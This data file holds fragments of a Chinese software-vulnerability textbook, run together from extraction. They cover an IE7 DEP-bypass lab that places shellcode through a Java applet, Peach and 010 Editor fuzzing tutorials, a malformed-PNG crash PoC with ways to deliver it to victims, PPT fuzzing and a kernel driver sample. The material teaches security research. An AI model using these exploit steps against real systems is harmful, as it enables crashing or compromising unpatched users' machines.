    {"text": "表 12-6-2 实验环境 推荐使用的环境 备 注 操作系统 Windows SP SP3 DEP 状态 Optout JRE 状态 启用 JRE 版本 1.4.2 不要使用高版本的 JRE，否则 Java applet 申请的内存不在 IE 进程中 浏览器 Internet Explorer 7 361 0 day 说明：是否启用 JRE 会影响到 shellcode 的起始地址，大家可能需要根据自己实验情况来进行调整。 安全：软件漏洞 关于是否为浏览器启用 JRE 大家可以通过“Internet 选项→高级→Java→将 Java……用于 <applet>”来设置，如图 12.6.1 所示。 分析技术（第 启用 JRE 2 版） 图 12.6.1 为浏览器启用 JRE 支持 用 IE 访问我们设置好的 POC 页面，如里浏览器提示 ActiveX 控件被拦截等信息请自行设 置浏览器安全权限，当浏览器弹出“开始溢出”的对话框时我们用 OllyDbg 附加 IE 的进程， 附加好后按一下 F9 键让程序继续运行。"},
    {"text": "不像.NET 控件，我们没有设置 Java applet 加载的基址，所以需要在内存中搜索 shellcode 来确定 shellcode 的位置，我们可以通过 OllyFindAddr 插件中的 Custom-search 搜索弹出对话框 机器码的前 4 个字节“FC686A0A”来定位 shellcode。"},
    {"text": "第二个地址为 buffer 字符串的位置，它是在程序运行时申请的空间，每次空间地址都会有轻微 变化，所以本次实验选择第一个位置即 0x100104EC 开始的 shellcode。"},
    {"text": "题外话：第二个地址的 shellcode 也不是没有作用的，我们会在下一章中为大家介绍如 何利用这个会变化的地址来挫败微软的另外一项安全机制。 362 第 弹出对话框机器 12 章 码的前 4 个字节 两部分内存均具 有可执行权限 数据与程序的分水岭： 搜索结果 内存中两处 我们的 shellcode shellcode DE P 图 12.6.2 shellcode 在内存中的位置 由于攻击的 ActiveX 控件与上一节中的一致，所以它的漏洞利用也就完全一样，只需要将 POC 页面中覆盖函数返回地址的字符串替换为 Java applet 中的 shellcode 起始地址即可，本次 实验中地址为 0x100104EC，转换为 Unicode 编码后为“\\u04EC\\u1001”。"},
    {"text": "图 12.6.3 Java applet 控件中的 shellcode 成功执行 363 第 17 章 文件类型漏洞挖掘 与 Smart Fuzz 17.1 Smart Fuzz 概述 17.1.1 文件格式 Fuzz 的基本方法 不管是 IE 还是 Office，它们都有一个共同点，那就是用文件作为程序的主要输入。"},
    {"text": "但是攻击者往往会挑战程序员的假定假设，尝试对软件所约定的数据格式进行稍许修改， 观察软件在解析这种“畸形文件”时是否会发生错误，发生什么样的错误，以及堆栈是否能 被溢出等。"},
    {"text": "图 17.1.1 Fuzz 的一般步骤 0 day 17.1.2 Blind Fuzz 和 Smart Fuzz 安全：软件漏洞 Blind Fuzz 即通常所说的“盲测” ，就是在随机位置插入随机的数据以生成畸形文件。"},
    {"text": "复杂的数据结构通常具备以下特征：  分析技术（第 拥有一批预定义的静态数据，如 magic，cmd id 等  数据结构的内容是可以动态改变的  数据结构之间是嵌套的  数据中存在多种数据关系 （size of，point to，reference of，CRC）  有意义的数据被编码或压缩，甚至用另一种文件格式来存储，这些格式的文件被挖掘 出越来越多的漏洞…… 2 版） 对于采用复杂数据结构的复杂文件进行漏洞挖掘， 传统的 Blind Fuzz 暴露出一些不足之处， 例如：产生测试用例的策略缺少针对性，生成大量无效测试用例，难以发现复杂解析器深层逻 辑的漏洞等。"},
    {"text": "复 杂的文件格式往往要经过多“层”解析，因此还需要明确测试用例正在试探的是哪一层的解析 逻辑，即明确测试“深度”以及畸形数据的测试“粒度”。 明确了测试的逻辑目标后，在生成 畸形数据时可以具有针对性的仅仅改动样本文件的特定位置，尽量不破坏其他数据依赖关系， 这样使得改动的数据能够传递到要测试的解析深度，而不会在上层的解析器中被破坏。"},
    {"text": "可以看出，盲测中生成的大 部分畸形文件都被无情地阻断在第一层解析器 OLE Parser 上，而面向逻辑测试生成的畸形文件 则可以顺利通过 OLE Parser 到达下一层深度。"},
    {"text": "对于复杂文件来说，以现成的样本文件 17 章 为基础进行畸形数据变异来生成畸形文件的方法要比上面两种的难度要小很多，也更容易实 文件类型漏洞挖掘 现。"},
    {"text": "但是这种方法不能测试样本文件里没有包含的数据结构，比如一个文件格式包含 18 种数 据区块(Chunk)，而给定的样本文件中只用到了其中的 10 种，那么基于样本测试方法只会修改 这 10 种区块的数据来产生畸形文件，测试不到其他 8 种数据对应的解析逻辑。"},
    {"text": "为了提高测试 质量，就要求在测试前构造一个能够包含几乎所有数据结构的文件（比如文字、图像、视频、 声音、版权信息等数据）来作为样本。"},
    {"text": "433 0 day 安全：软件漏洞 17.2 用 Peach 挖掘文件漏洞 17.2.1 Peach 介绍及安装 Peach 是一款用 Python 写的开源的 Smart Fuzz 工具， 它支持两种文件 Fuzz 方法：基于生 长(Generation Based)和基于变异(Mutation Based)。"},
    {"text": "基于生长的 Fuzz 方法产生随机或启发性数据 分析技术（第 来填充给定的数据模型，从而生成畸形文件。 而基于变异的 Fuzz 方法在一个给定的样本文件 基础上进行修改从而产生畸形文件。"},
    {"text": "exe 版本 2 版）  安装 Debugging Tools for Windows，为了避免兼容问题，推荐使用 WinDbg 6.8.4 版 本 。 最好 再下 载操 作系 统对 应 的 Windows 符 号 包（ Windows Symbol Packet， http://www.microsoft.com/whdc/devtools/debugging/symbolpkg.mspx ）， 安 装 后 运 行 WinDbg，按下 Ctrl+S 配置 Symbol Search Path，加入 Windows 符号包路径，最后保存 退出。"},
    {"text": " 下载 Peach 源码包至本地主机并解压，解压路径中最好不要包含中文字符和空格。  解压后在 dependencies/src 目录下有很多 Peach 运行时需要的包（packet），需要分别 安装。"},
    {"text": "安装方法是在命令行下分别进入各个包的目录，敲入命令“python setup.py install” 。 安装完后，在命令行下进入 Peach 的安装目录，运行： bin\\peach.exe samples\\HelloWorld.xml (exe 版本) python peach.py samples\\HelloWorld.xml （python 版本） 这是一个 HelloWorld 例程，如果可以正常运行，则表示程序已经正确安装。"},
    {"text": "434 第 17.2.2 XML 介绍 17 章 Peach 使用 XML 语言来定义数据结构，这种定义数据结构的文件被叫做 Peach Pit 文件。 文件类型漏洞挖掘 在学习写 Peach Pit 文件之前，我们先来对 XML 进行一个简单的了解。"},
    {"text": "XML 是“Extensible Markup Language”的缩写，即可扩展标记语言，它与 HTML 一样都 是标准通用标记语言（Standard Generalized Markup Language, SGML）。 XML 是 Internet 环境中 跨平台的、依赖于内容的技术，是当前处理结构化文档信息的有力工具。 XML 是一种简单的 数据存储语言，虽然它比二进制数据要占用更多的空间，但 XML 可读性很好，也易于掌握和 使用。"},
    {"text": "与 以下面这个 XML 文件为例： Sma <?xml version=\"1.0\" encoding=\"GB2312\"?> <bookstore> rt F <!-- This is a comment --> u <book catalog=\"Programming\"> zz <title lang=\"cn\">XML 入门</title> <author>Erik T.Ray</author> <price>42.00</price> </book> <book catalog=\"Networking\"> <title lang=\"cn\">TCP/IP 详解</title> <author>W.Richard Stevens</author> <price>45.00</price> </book> </bookstore> XML 文件分为文件序言（Prolog）和文件主体两大部分。"},
    {"text": "另外，在 XML 中可以在一个标签中同时表示起始和结束标签，即在大于符号之前紧跟一个斜线 （/），例如 XML 解析器会将<tag/>翻译成<tag></tag>。"},
    {"text": "17.2.3 定义简单的 Peach Pit Peach 所使用的 Peach Pit 文件包含了以下 5 个模块：  GeneralConf  DataModel 2 版）  StateModel  Agents and Monitors  Test and Run Configuration 下面分别介绍这 5 个模块的定义方法，并完成一个简单的 HelloWorld 程序。"},
    {"text": "首先，我们先搭好一个 XML 框架，下面要写的所有元素都要被包含在根元素<Peach>里。 <?xml version=\"1.0\" encoding=\"utf-8\"?> <Peach xmlns=http://phed.org/2008/Peach xmlns:xsi=\"http://www.w3.org/ 2001/ XMLSchema-instance\" xsi:schemaLocation=http://phed.org/2008/Peach ../peach.xsd > <!-- add elements here --> </Peach> 其中，Peach 元素的各个属性基本是固定的，不要轻易改动。"},
    {"text": "436 第 <Include ns=\"default\" src=\"file:defaults.xml\" /> 17 章 （2）DataModel 文件类型漏洞挖掘 DataModel 元素用来定义数据模型，包括数据结构和数据关系等。"},
    {"text": "比如： 与 S <DataModel name=\"HelloData\"> ma <String name=\"ID\" size=\"32\" value=\"RIFF\" isStatic=\"true\" /> rt <Block name=\"TypeAndData\"> F <Number name=\"Type\" size=\"16\"/> uzz <Blob name=\"Data\"/> </Block> </DataModel> 要注意的是，size 的单位是 bit。 上面的例子中，“ID”的“size”为 32，表示“ID”的长 度为 4 字节（1 byte = 8 bits），刚好它的值“RIFF”也是 4 个字节。"},
    {"text": "StateModel 由至少一个 State 组 成，并且用 initialState 指定第一个 State； 每个 State 由至少一个 Action 组成，Action 用于定义 StateModel 中的各种动作，动作类型由 type 来指定。"},
    {"text": "下面是一个例子： <Action type=\"input\"> <DataModel ref=\"InputModel\" /> </Action> <Action type=\"output\"> <DataModel ref=\"SomeDataModel\" /> <Data name=”sample” filename=”sample.bin”/> </Action> <Action type=\"call\" method=\"DoStuff\"> 437 0 day <Param name=\"param1\" type=\"in\"> 安全：软件漏洞 <DataModel ref=\"Param1DataModel\" /> </Param> </Action> <Action type=\"close\" /> 上例中，第一个 Action 描述了一个输入型动作，表示按照数据模型 InputModel 产生数据 分析技术（第 并作为输入数据； 第二个 Action 描述了一个输出型动作，表示按照数据模型 SomeDataMode 产生数据并输出到文件 sample.bin 中； 第三个 Action 描述了一个调用动作，表示调用函数 DoStuff，并且将按照数据模型 Param1DataModel 产生的数据作为函数 DoStuff 的参数；"},
    {"text": "<StateModel name=\"State\" initialState=\"State1\" > <State name=\"State1\" > <Action type=\"output\" > <DataModel ref=\"HelloWorldTemplate\"/> </Action> </State> </StateModel> （4）Agent Agent 元素用于定义代理和监视器，可以用来调用 WinDbg 等调试器来监控程序运行的错 误信息等。"},
    {"text": "下 面是一个例子： <Agent name=\"LocalAgent\" location=\"http://127.0.0.1:9000\"> <Monitor class=\"debugger.WindowsDebugEngine\"> <Param name=\"CommandLine\" value=\"notepad.exe fileName\" /> </Monitor> <Monitor class=\"process.PageHeap\"> <Param name=\"Executable\" value=\"notepad.exe\" /> </Monitor> </Agent> 上例中，第一个 Monitor 类型为 debugger.WindowsDebugEngine，是调用 WinDbg 来执行下 面的“notepad.exe filename”命令的。 第二个 Monitor 类型为 process.PageHeap，意思是为 notepad.exe 开启页堆调试（Page Heap Debug） ，这在大多数 Windows Fuzzing 中都是很有用的。"},
    {"text": "<Test name=\"TheTest\"> <Exclude xpath=\"//Reserved\" /> <Agent ref=\"LocalAgent\" /> <StateModel ref=\"TheState\" /> 与 <Publisher class=\"file.FileWriter\"> S <Param name=\"fileName\" value=\"FuzzedFile\"/> ma </Publisher> rt F </Test> uzz 先对 Publisher 做一下介绍。"},
    {"text": "<Run name=\"DefaultRun\"> <Test ref=\"TheTest\" /> <Logger class=\"logger.Filesystem\"> <Param name=\"path\" value=\"c:\\peach\\logtest\" /> </Logger> </Run> 上例表示程序运行“TheTest”这个测试，并且把运行日志记录到 C:\\peach\\logtest 目录下。"},
    {"text": "<Run name=\"DefaultRun\"> <Test ref=\"HelloWorldTest\" /> </Run> 将文件保存到 peach 目录下，改名为 MyHelloWorld.xml，然后运行： 439 0 day bin\\peach.exe MyHelloWorld.xml （exe 版本） 安全：软件漏洞 python peach.py MyHelloWorld.xml （python 版本） 如果没有错误的话，程序运行后会根据 DataModel 中定义的数据模型产生畸形数据，并将 其显示到控制台。"},
    {"text": "分析技术（第 2 版） 图 17.2.1 MyHelloWorld 例程运行结果 17.2.4 定义数据之间的依存关系 在 Smart Fuzz 中，并不是所有的数据都是可以随意产生的，比如数据校验值、数据长度等 字段都是要进行计算才能得来的。"},
    {"text": "其格式为： <Relation type=\"size\" of=\"Data\" /> <Relation type=\"count\" of=\"Data\" /> <Relation type=\"offset\" of=\"Data\" /> 同样，数据校验值也可以通过 Fixup 元素来表示。"},
    {"text": "Fixup 的格式为： <Fixup class=\"FixupClass\"> <Param name=\"ref\" value=\"Data\"/> </Fixup> 440 第 其中 FixupClass 可以为 checksums.Crc32Fixup、checksums.SHA256Fixup 等。"},
    {"text": "文件类型漏洞挖掘 表 17-2-1 数据模型示例 Offset Size Description 0x00 4 bytes Length of Data 续表 Offset Size Description 0x04 4 bytes Type 与 0x08 Data S after Data 4 bytes CRC of Type and Data ma 可以看出，这里有两个数据需要定义依存关系。"},
    {"text": "第一个是首 4 个字节的数据，其表示 Data rt F 数据段的长度，可以用<Relation type=”size” of=”Data”/>这样的依存关系来表述。 第二个是最后 uzz 4 个 字 节 的 数 据 ， 其 表 示 Type 和 Data 两 个 数 据 段 的 CRC 校 验 ， 可 以 用 <Fixup class=”checksums.Crc32Fixup”/>这样的依存关系来表述。"},
    {"text": "考虑到需要将 Type 和 Data 这两个数据段合并到一起作为 Fixup 的参数，我们可以增加一 个名为“TypeAndData”的 Block，将 Type 和 Data 放到该 Block 里，这样便可以用 TypeAndData 作为 Fixup 的参数。"},
    {"text": "DataModel 可以这样定义： <DataModel name=\"HelloData\"> <Number name=\"Length\" size=\"32\"> <Relation type=\"size\" of=\"Data”/> </Number> <Block name=\"TypeAndData\"> <String name=\"Type\" size=\"32\"/> <Blob name=\"Data\"/> </Block> <Number name=\"CRC\" size=\"32\"> <Fixup class=\"checksums.Crc32Fixup\"> <Param name=\"ref\" value=\"TypeAndData\"/> </Fixup> </Number> </DataModel> 17.2.5 用 Peach Fuzz PNG 文件 学习了 Peach Pit 文件之后，我们来进行一次简单的实 战——使用 Peach 对 PNG 文件进行 Fuzz 测试。"},
    {"text": "表 17-2-2 PNG 文件 Chunk 格式 Name Size Description 分析技术（第 Length 4 bytes Length of data field Type 4 bytes Chunk type code Data Data bytes CRC 4bytes CRC of type and data 由此，可将 Chunk 的 DataModel 定义如下： 2 版） <DataModel name=\"Chunk\"> <Number name=\"Length\" size=\"32\" signed=\"false\"> <Relation type=\"size\" of=\"Data\" /> </Number> <Block name=\"TypeAndData\"> <String name=\"Type\" size=\"4\"/> <Blob name=\"Data\" /> </Block> <Number name=\"CRC\" size=\"32\"> <Fixup class=\"checksums.Crc32Fixup\"> <Param name=\"ref\" value=\"TypeAndData\"/> </Fixup> </Number> </DataModel> 首先，不去考虑每个 Chunk 的具体结构，而将 PNG 简单地认为是由一个 PNG 签名和若干 结构相同的 Chunk 组成。 那么可以在 Chunk 数据模型之后将 PNG 文件的 DataModel 进行如下 定义： <DataModel name=\"Png\"> <Blob name=\"pngMagic\" isStatic=\"true\" valueType=\"hex\" value=\"89 50 4E 47 0D 0A 1A 0A\" /> <Block ref=\"Chunk\" minOccurs=\"1\" maxOccurs=\"1024\"/> </DataModel> minOccrus=”1” maxOccurs=”1024” 表示该区块最少重复 1 次，最多重复 1024 次。"},
    {"text": "StateModel 定 442 第 义如下： 17 章 <StateModel name=\"TheState\" initialState=\"Initial\"> 文件类型漏洞挖掘 <State name=\"Initial\"> <!-- Write out our png file --> <Action type=\"output\"> <DataModel ref=\"Png\"/> <!-- This is our sample file to read in --> <Data name=\"data\" fileName=\"sample.png\"/> </Action> <!— Close file --> 与 <Action type=\"close\"/> S <!-- Launch the target process --> ma <Action type=\"call\" method=\"D:\\pngcheck.exe\"> <Param name=\"png file\" type=\"in\"> rt F <DataModel ref=\"Param\"/> u <Data name=\"filename\"> zz <!-- Name of Fuzzed output file --> <Field name=\"Value\" value=\"peach.png\"/> </Data> </Param> </Action> </State> </StateModel> 在 call 动作中我们引用了一个叫做“Param”的数据模型，这个数据模型用来存放传递给 pngcheck.exe 的参数，即畸形文件的文件名。"},
    {"text": "<Test name=\"TheTest\"> <StateModel ref=\"TheState\"/> <Publisher class=\"file.FileWriterLauncher\"> <Param name=\"fileName\" value=\"peach.png\"/> </Publisher> </Test> 最后在 Run 信息配置中指定要运行的测试名称。 <Run name=\"DefaultRun\"> <Test ref=\"TheTest\" /> 443 0 day </Run> 安全：软件漏洞 至此， Peach Pit 文件就配置完毕了。"},
    {"text": "运行 Fuzzer： bin\\peach.exe png_dumb.xml （exe 版本） python peach.py png_dumb.xml （python 版本） 程序会根据 Peach Pit 文件的配置以及输入的样本 sample.png 生成畸形文件，并将该畸形 分析技术（第 文件传到 pngcheck.exe 中。"},
    {"text": "首先，在 StateModel 的 Action 中找到 type=”call”的这一行，并将后面的 pngcheck 地址改 为 explorer。 <Action type=\"call\" method=\"explorer\"> 然后在 Publisher 配置中将 class 改为 file.FileWriterLauncherGui，并且 为 Publisher 增加一个 名为 WindowName、值为 peach.png 的参数。 <Publisher class=\"file.FileWriterLauncherGui\"> <Param name=\"fileName\" value=\"peach.png\"/> <Param name=\"WindowName\" value=\"peach.png\"/> </Publisher> FileWriterLauncherGui 和 FileWriterLauncher 的区别在于，前者用于运行带界面的 GUI 程 444 第 序，并且在运行后会自动关闭窗口标题中含有 WindowName 的值的 GUI 窗口。"},
    {"text": "首先，将 StateModel 中最后一个 Action 删掉，并添加这一行： <Action type=\"call\" method=\"ScoobySnacks\" /> 然后，在 StateModel 下面加入 Agent 配置： <Agent name=\"LocalAgent\"> <Monitor class=\"debugger.WindowsDebugEngine\"> <Param name=\"CommandLine\" value=\"explorer peach.png\" /> <Param name=\"StartOnCall\" value=\"ScoobySnacks\" /> </Monitor> <Monitor class=\"process.PageHeap\"> <Param name=\"Executable\" value=\"explorer\"/> </Monitor> </Agent> 然后，在 Test 配置的第一行加入： <Agent ref=\"LocalAgent\"/> 并且在 Publisher 的最后一行加入名为 debugger，值为 true 的参数： <Param name=\"debugger\" value=\"true\" /> 最后在 Run 配置的 Test 元素后面加入日志配置： <Logger class=\"logger.Filesystem\"> 445 0 day <Param name=\"path\" value=\"logs\"/> 安全：软件漏洞 </Logger> 重新运行 Fuzzer，如图 17.2.5 所示，Fuzzer 程序启动了一个 Local Peach Agent，通过 该 Agent 控制 WinDbg 进行调试并捕获异常事件。"},
    {"text": "分析技术（第 2 版） 图 17.2.5 开启 WinDbg 调试的 Fuzzing 17.3 010 脚本，复杂文件解析的瑞士军刀 17.3.1 010 Editor 简介 010 Editor 是一款非常强大的文本/十六进制编辑器，除了文本/十六进制编辑外，还包括文 件解析、计算器、文件比较等功能，但它真正的强大之处还在于文件的解析功能。"},
    {"text": "我们可以使 用 010Editor 官方网站提供的解析脚本(Binary Template)对 avi、bmp、png、exe 等简单格式的文 件进行解析，当然也可以根据需求来自己编写文件解析脚本。 下面以 PNG 文件解析为例，介绍 010 Editor 的文件解析功能。 首先从官方网站上下载和安 装 010 Editor （ http://sweetscape.com/010editor ）， 然 后 到 文 件 解 析 脚 本 下 载 页 面 中 下 载 446 第 PNGTemplate.bt。 用 010 Editor 打开 PNG 文件，然后通过 Templates –> Open Template 菜单打开 17 章 PNGTemplate.bt，按 F5 键运行该脚本，就可以在 Template Results 窗口中看到该 PNG 文件的解 析结果。"},
    {"text": "与 Sma rt Fuzz 图 17.3.1 010 Editor 的文件解析功能 17.3.2 010 脚本编写入门 学过 C/C++的您会发现 010 Editor 的文件解析脚本（即 010 脚本）看起来跟 C/C++的结构 体定义比较相似。"},
    {"text": "比如以下声明： char header[4]; int numRecords; 这意味着，文件的首 4 个字节将会映射到字符数组 header 中，下 4 个字节则会映射到整型 变量 numRecords 中，并最终显示在解析结果中。"},
    {"text": "然而，在编写 010 脚本时可能会遇到这种情况：需要定义一些变量，但是这些变量并不对 应着文件中的任何字节，而仅仅是程序运行中所需要的，这时可以使用 local 关键字来定义变 447 0 day 量。"},
    {"text": "比如以下声明： 安全：软件漏洞 local int i, total = 0; int recordCounts[5]; for(i=0; i < 5; i++) total += recordCounts[i]; double records[total]; 分析技术（第 这样，i 和 total 就不会映射到文件中去，也不会在解析结果中显示出来。"},
    {"text": "常用的属性包括以下几种： <format=hex|decimal|octal|binary, fgcolor=<color>, bgcolor=<color>, comment= \"<string>\", open=true|false|suppress, hidden=true|false, read=<function_name>, write=<function_name> > 2 版） 下面给出一个简单的实例。"},
    {"text": "Header char type[4] int version int numRecords Record 1 int len char name[20] char data[len] (if version=1) byte data[len] (if version=2) Record 2 int len char name[20] char data[len] (if version=1) byte data[len] (if version=2) …… Record N int len char name[20] char data[len] (if version=1) byte data[len] (if version=2) 图 17.3.2 文件格式示例 根据文件格式，我们可以写出如下脚本： struct FILE { struct HEADER { char type[4]; 448 第 int version; 17 章 int numRecords; } header; 文件类型漏洞挖掘 struct RECORD { int len; char name[20]; if( file.header.version == 1 ) char data[len]; if( file.header.version == 2 ) byte data[len]; 与 } record[ file.header.numRecords ]; S } file; ma rt 17.3.3 010 脚本编写提高——PNG 文件解析 Fuzz 本节中我们将创建一个解析 PNG 文件的 010 脚本。"},
    {"text": "首先来回顾一下图 17.2.2 中介绍过的 PNG 文件格式。 由图 17.2.2 中可知，需要定义 PNG 签名和 Chunk 两种结构。 先来定义 PNG 签名： const uint64 PNGMAGIC = 0x89504E470D0A1A0AL; 接下来，参照 17.2.5 节介绍的 PNG 的 Chunk 格式，写下 Chunk 的结构定义： typedef struct { uint32 length; char ctype[4]; ubyte data[length]; uint32 crc <format=hex>; } CHUNK 其中<format=hex>是 crc 的附加属性，表明该数据用十六进制来表示。"},
    {"text": "表 17-3-1 ctype 数据表述的附加信息 位 置 1 0 第 1 字节的第 3 位 Ancillary Critical 第 2 字节的第 3 位 Private Public 第 3 字节的第 3 位 ERROR_RESERVED 第 4 字节的第 3 位 Safe to Copy Unsafe to Copy  Ancillary 表示该区块是辅助区块，这些区块是可有可无的；"},
    {"text": " Safe to Copy 表示该区块与图像数据无关，可以随意复制到改动过的 PNG 文件中； Unsafe to Copy 表示该区块内容与图像数据息息相关，如果对文件的 Critical 区块进行 了增删改等操作，则该区块也需要进行相应的修改。"},
    {"text": "在 CHUNK 结构定义下面写出如下函数： string readCHUNK(local CHUNK &c) { local string s; s=c.ctype+\" (\"; s += (c.ctype[0] & 0x20) ? \"Ancillary, \" : \"Critical, \"; s += (c.ctype[1] & 0x20) ? \"Private, \" : \"Public, \"; 2 版） s += (c.ctype[2] & 0x20) ? \"ERROR_RESERVED, \" : \"\"; s += (c.ctype[3] & 0x20) ? \"Safe to Copy)\" : \"Unsafe to Copy)\"; return s; } 题外话：将一个数与 0x20（二进制为 0010 0000）进行“按位与”运算即为取该数的第 3 位。"},
    {"text": "然后在上面定义好的 CHUNK 结构体后加上 read 属性，即把“}CHUNK;”这一行改为： }CHUNK <read=readCHUNK>; 最后写入解析“主函数” ： // ------------------------------------------------------------- // Here's where we really allocate the data // ------------------------------------------------------------- uint64 pngid <format=hex>; if (pngid != PNGMAGIC) { Warning(\"Invalid PNG File: Bad Magic Number\"); return -1; } while(!FEof()) { CHUNK chunk; } 另外，由于 PNG 文件是按照 BigEndian 格式进行存储的，所以我们要在脚本的第一行加入： BigEndian(); 至此终于大功告成。"},
    {"text": "与 Sma rt F u 图 17.3.3 PNG 文件解析结果 zz 表 17-3-2 实验环境 计算机 VMware 虚拟机或者实体机 操作系统 Windows XP Professional Server Pack 3 GdiPlus.dll 版本 5.1.3102.5512 题外话：GdiPlus.dll 是 GDI 图像设备接口图形界面的相关模块，属于 Microsoft GDI+， 它会在安装一些软件或补丁时出现，并且出现在与所安装软件相同分区下。"},
    {"text": "图 17.3.4 将 IHDR 的 length 修改为 0xFFFFFFF4 在实验计算机中打开 poc.png，或者仅仅是打开 poc.png 所在的文件夹，explorer.exe 的 CPU 451 0 day 占用率就上升到了将近 100%，使系统接近当机状态。"},
    {"text": "该漏洞有很多种危害方式：  使得打开 poc.png 文件或者打开 poc.png 所在文件夹的未打补丁的用户死机  将 poc.png 挂到某个网站页面上，将使得访问该页面的未打补丁的用户死机  将 poc.png 设为 QQ 或 MSN 头像，将使看到您头像的未打补丁的好友死机 分析技术（第  …… 由此可见，在解析文件的基础上进行漏洞的挖掘和测试比盲目地 Fuzz 要方便、有效很多。"},
    {"text": "Office 系列软件使用的文件格式可以分为两个系列。 Office 97~Office 2003 ：使用基于二进制的文件格式，文件名后缀为 doc、ppt、xls 等。 Office2003 及更高版本：使用基于 XML 的文件格式，文件名后缀为 docx、pptx、xlsx 等。"},
    {"text": "表 17-3-3 PPT 文件解析器逻辑分层 测试深度 解析逻辑 数据粒度 Fuzz 方法 Level1 OLE2 解析器 离散分布的 512 字节数据段 修改 OLE 文件头、FAT 区块、目录区块 452 第 等位置的数据结构 17 章 修改流中的数据，破坏记录头和数据的 Level2 PPT 记录解析器 流和信息库 关系 文件类型漏洞挖掘 Level3 PPT 对象创建器 原子和容器 用负载替换原子数据 续表 测试深度 解析逻辑 数据粒度 Fuzz 方法 原子记录内部的 integer、 用相关的负载集修改字节数据 Level4 PPT 对象内部逻辑 bool、string 等类型数据 PPT 的有效数据被组织在基于 OLE2 的二进制文件中。"},
    {"text": "ma 如果直接用十六进制编辑器打开一个 OLE2 文件的话，将会看到许多大小为 512 字节的离 rt 散的数据块，并且在文件的开头有一个存储了这些数据块索引的 FAT 表。"},
    {"text": "453 0 day 可以看到，我们已经把看起来“杂乱无章”的二进制文件解析成了可读性较强的 OLE2 结 安全：软件漏洞 构体，可以比较容易地读出文件中的各个数据流。"},
    {"text": "PPT 的有效数据存储在 OLE2 的 stream 中，通常一个 PPT 文件包括以下几种 stream，如表 17-3-4 所示。 分析技术（第 2 版） 图 17.3.7 OLE2 解析结果 表 17-3-4 PPT 中常见数据流 数据流名称 说 明 Current User 包含最近打开演示文档的用户信息 PowerPoint Document 包含演示文档中的数据信息 Pictures(可选) 包含演示文档中的图像信息 Summary Information 包含演示文档的若干统计信息 Document Summary Information(可选) 包含演示文档的若干统计信息 在 PowerPoint Document 数据流中，包含了我们感兴趣的大部分信息，例如 font、color、text、 position 等数据结构。"},
    {"text": "微软已经公布了 PPT 文件中所有记录（record）的格式说明，这就不难从 OLE2.bt 解析出 454 第 的数据流中进一步解析出所有 PPT 的原子和容器结构。"},
    {"text": "在解析结果中找到 PSR_FontEntityAtom FontEntityAtom 的一条 记录（如图 17.3.9 中选中的部分），将其展开，可以看到 FontEntityAtom 的数据结构如表 17-3-5 所示。 表 17-3-5 FontEntityAtom 数据结构 位 置 类 型 名 称 0 uint2[32] IfFaceName 64 ubyte IfCharSet 65 ubyte IfClipPrecision 66 ubyte IfQuality 67 ubyte IfPitchAndFamily 其中，IfFaceName 的内容是一个以 NULL（0x0000）结尾的字符串，它指定的所用的字体 名。"},
    {"text": "然后用 PowerPoint 打开 test.ppt，选中与更改过 的 FontEntityAtom 相关的文字，可以看到该文字的字体名称变成了一堆乱码，这便是畸形数据 （Malformed Data），如图 17.3.10 所示。"},
    {"text": "456 第 17 章 文件类型漏洞挖掘 与 Sma rt F 图 17.3.10 PowerPoint 打开 test.ppt 时脏数据的出现 uzz 通过这种方法，可以在 PPT 文件中构造出具有高度针对性的畸形数据，而避免 OLE2 层初 级解析器的异常，将畸形数据直接送达 PowerPoint 解析器的最深层。"},
    {"text": "457 第 21 章 探索 ring0 21.1 内核基础知识介绍 21.1.1 内核概述 Intel x86 系列处理器使用“环”的概念来实施访问控制，共有 4 个权限级别，由高到低分 别为 Ring0、Ring1、Ring2、Ring3，其中 Ring0 权限最高，Ring3 权限最低。 Windows（从 NT 开始）和 Linux 等多数操作系统在 Intel x86 处理器上只使用了 Ring0 和 Ring3，其中内核态对 应着 Ring0，用户态对应着 Ring3。"},
    {"text": "一般地，操作系统的内核程序、驱动程序等都是在 Ring0 级别上运行的。 此外，很多安全 软件、游戏软件、工具软件等第三方驱动程序，也会通过系统服务的方式在 Ring0 级别上运行。 越来越多的病毒、木马、后门、恶意软件也有自己的驱动程序，想方设法的进入 Ring0，以求 提高自身的运行权限，与安全软件进行对抗。 时至今日，Ring0 上运行的程序已经不再是单纯的系统内核，内核漏洞也不再是操作系统 专属的问题，而是很多安全软件、游戏软件、工具软件等软件厂商共同需要面对的问题。 随着操作系统和安全软件的日益完善，在普通溢出漏洞难以奏效的情况下，容易被人忽略 的内核漏洞往往可以作为突破安全防线的切入点。"},
    {"text": "研究内核漏洞，需要首先掌握一些内核基础知识，例如内核驱动程序的开发、编译和运行， 内核中重要的数据结构等，后面几节将对这些内容做简单的介绍。"},
    {"text": "/******************************************************************** created: 2010/12/06 filename: D:\\0day\\HelloWorld\\helloworld.c author: shineast 第 purpose: Hello world driver demo 21 章 *********************************************************************/ #include <ntddk.h> 探索 #define DEVICE_NAME L\"\\\\Device\\\\HelloWorld\" #define DEVICE_LINK L\"\\\\DosDevices\\\\HelloWorld\" r //创建的设备对象指针 ing0 PDEVICE_OBJECT g_DeviceObject; /********************************************************************* 驱动卸载函数 输入：驱动对象的指针 输出：无 **********************************************************************/ VOID DriverUnload( IN PDRIVER_OBJECT driverObject ) { //什么都不做，只是打印一句话 KdPrint((\"DriverUnload: 88!\\n\")); } /********************************************************************** 驱动派遣例程函数 输入：驱动对象的指针,Irp 指针 输出：NTSTATUS 类型的结果 **********************************************************************/ NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp) { KdPrint((\"Enter DrvDispatch\\n\")); //设置 IRP 的完成状态 pIrp->IoStatus.Status=STATUS_SUCCESS; //设置 IRP 的操作字节数 pIrp->IoStatus.Information=0; //完成 IRP 的处理 IoCompleteRequest(pIrp,IO_NO_INCREMENT); return STATUS_SUCCESS; } /********************************************************************* 驱动入口函数（相当于 main 函数） 输入：驱动对象的指针，服务程序对应的注册表路径 输出：NTSTATUS 类型的结果 **********************************************************************/ NTSTATUS DriverEntry( IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath ) { NTSTATUS ntStatus; UNICODE_STRING devName; UNICODE_STRING symLinkName; 529 0 day int i=0; 安全：软件漏洞 //打印一句调试信息 KdPrint((\"DriverEntry: Hello world driver demo!\\n\")); //设置该驱动对象的卸载函数 driverObject->DriverUnload = DriverUnload; //创建设备 RtlInitUnicodeString(&devName,DEVICE_NAME); ntStatus = IoCreateDevice( driverObject, 分析技术（第 0, &devName, FILE_DEVICE_UNKNOWN, 0, TRUE, &g_DeviceObject 